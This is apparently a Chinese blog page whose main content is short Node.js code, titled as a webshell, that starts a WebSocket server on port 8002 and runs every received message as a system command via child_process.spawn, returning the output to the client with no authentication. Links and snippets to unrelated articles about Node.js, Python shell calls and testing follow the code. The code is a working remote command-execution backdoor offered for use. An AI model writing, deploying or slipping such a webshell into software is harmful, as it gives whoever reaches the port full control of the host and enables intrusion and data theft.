express+websocket+exec+spawn=webshell
var child_process = require('child_process');
var ws = require("nodejs-websocket");
console.log("initialing conn...")
var server = ws.createServer(function(conn){
conn.on("text", function (str) {
var arr=str.split(" ");
var comm=arr.shift();
console.log("received:"+str);
aa(comm,arr,conn);
});
conn.on("error", function (code, reason) {
console.log("异常关闭")
});
}).listen(8002)
function aa(comm,arr,conn){
var spawnObj = child_process.spawn(comm,arr, {encoding: 'utf-8'});
spawnObj.stdout.on('data', function(chunk) {
conn.sendText(chunk.toString(
));
});
spawnObj.stderr.on('data',(data)=>{
console.log('error:${data}');
});
spawnObj.on('error',(err)=>{
console.log('subProcess Failed'+err);
});
}
console.log("WebSocket建立完毕")
express+websocket+exec+spawn=webshell的更多相关文章
- Windows下Node.js+Express+WebSocket 安装配置
Linux参考: Linux安装Node.js 使用Express搭建Web服务器 Node.js是一个Javascript运行环境(runtime).实际上它是对Google V8引擎进行了封装.V ...
- React系列——websocket群聊系统在react的实现
前奏 这篇文章仅对不熟悉在react中使用socket.io的人.以及websocket入门者有帮助. 下面这个动态图展示的聊天系统是用react+express+websocket搭建的,很模糊吧, ...
- Node 即学即用 笔记 思维导图
Node即学即用 REPL(Read-Evaluate-Print-Loop) console.log .clear .help .exit require('http') ...
- javascript单元测试框架mochajs详解
关于单元测试的想法 对于一些比较重要的项目,每次更新代码之后总是要自己测好久,担心一旦上线出了问题影响的服务太多,此时就希望能有一个比较规范的测试流程.在github上看到牛逼的javascript开 ...
- 举例讲解Linux系统下Python调用系统Shell的方法
有时候难免需要直接调用Shell命令来完成一些比较简单的操作,比如mount一个文件系统之类的.那么我们使用Python如何调用Linux的Shell命令?下面来介绍几种常用的方法:1. os 模块 ...
- Python下调用Linux的Shell命令
有时候难免需要直接调用Shell命令来完成一些比较简单的操作,比如mount一个文件系统之类的.那么我们使用Python如何调用Linux的Shell命令?下面来介绍几种常用的方法: 1. os 模块 ...
- 测试框架mochajs详解
测试框架mochajs详解 章节目录 关于单元测试的想法 mocha单元测试框架简介 安装mocha 一个简单的例子 mocha支持的断言模块 同步代码测试 异步代码测试 promise代码测试 不建 ...
- [转]Nodejs进程间通信
本文转自:http://www.cnblogs.com/rubyxie/articles/8949417.html 一.场景 Node运行在单线程下,但这并不意味着无法利用多核/多机下多进程的优势 事 ...
- python调用linux的命令
有时候难免需要直接调用Shell命令来完成一些比较简单的操作,比如mount一个文件系统之类的.那么我们使用Python如何调用Linux的Shell命令?下面来介绍几种常用的方法: 1. os 模块 ...
随机推荐
- 在java代码中控制UI界面
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle saved ...
- conts、var 、let的区别
1.const定义的变量不可以直接修改,通过 this.a = 'kkk' 进行修改, 而且必须初始化. 2.var定义的变量可以修改,如果不初始化会输出undefined 3.let是块级作用域,函 ...
- Sql Server 2005/2008数据库被标记为“可疑”/“质疑”的问题
日常对Sql Server 2005关系数据库进行操作时,有时对数据库(如:Sharepoint网站配置数据库名Sharepoint_Config)进行些不正常操作如数据库在读写时而无故停止数据库,从 ...
- matplot画图kill问题,形成思路
很多小伙伴刚学matplot的时候 看着代码就想敲 可是你应该现有概念啊 熟悉这两个再看下面的代码,下面的解决了一些人问中文字体的问题,满足了一般人的设置需求 代码注释很详细,我就不多哔哔了. 完全 ...
- js ·节点的知识点
1. DOM document object model (1) 节点树状图 Document>documentElement>body>tagname 2. 我们常用的节点类型 元 ...
- 学习笔记TF056:TensorFlow MNIST,数据集、分类、可视化
MNIST(Mixed National Institute of Standards and Technology)http://yann.lecun.com/exdb/mnist/ ,入门级计算机 ...
- asp.net 按钮执行前后台方法——前台弹出提示信息,确认后继续执行后台方法,取消则不执行后台方法
我们做一个测试的web页面,只需要一个button+一个label就ok啦,通过button按钮的后台事件修改label的text属性值来测试是否执行了后台事件里的代码 前台 写一个js方法: < ...
- 用js简单实现一下迪克斯特拉算法
今天看书看到了迪克斯特拉算法,大概用js实现一下呢,计算最短路径. 首先,迪克斯特拉算法只适用于有向无环图,且没有负权重,本例关系图如下哦,数字为权重,emmmm,画得稍微有点丑~ //大概用js实现 ...
- 解决openstack实例主机名后缀问题
参考地址https://ask.openstack.org/en/question/26918/change-novalocal-suffix-in-hostname/ 问题现象 可以看到主机名的后缀 ...
- day02格式化输出等
1.格式化输出 format % 占位符 %s:str, %d: dight, %f: float 字符串多行用三个单引号或三个双引号 %%5,百分之五,转义字符%.想 ...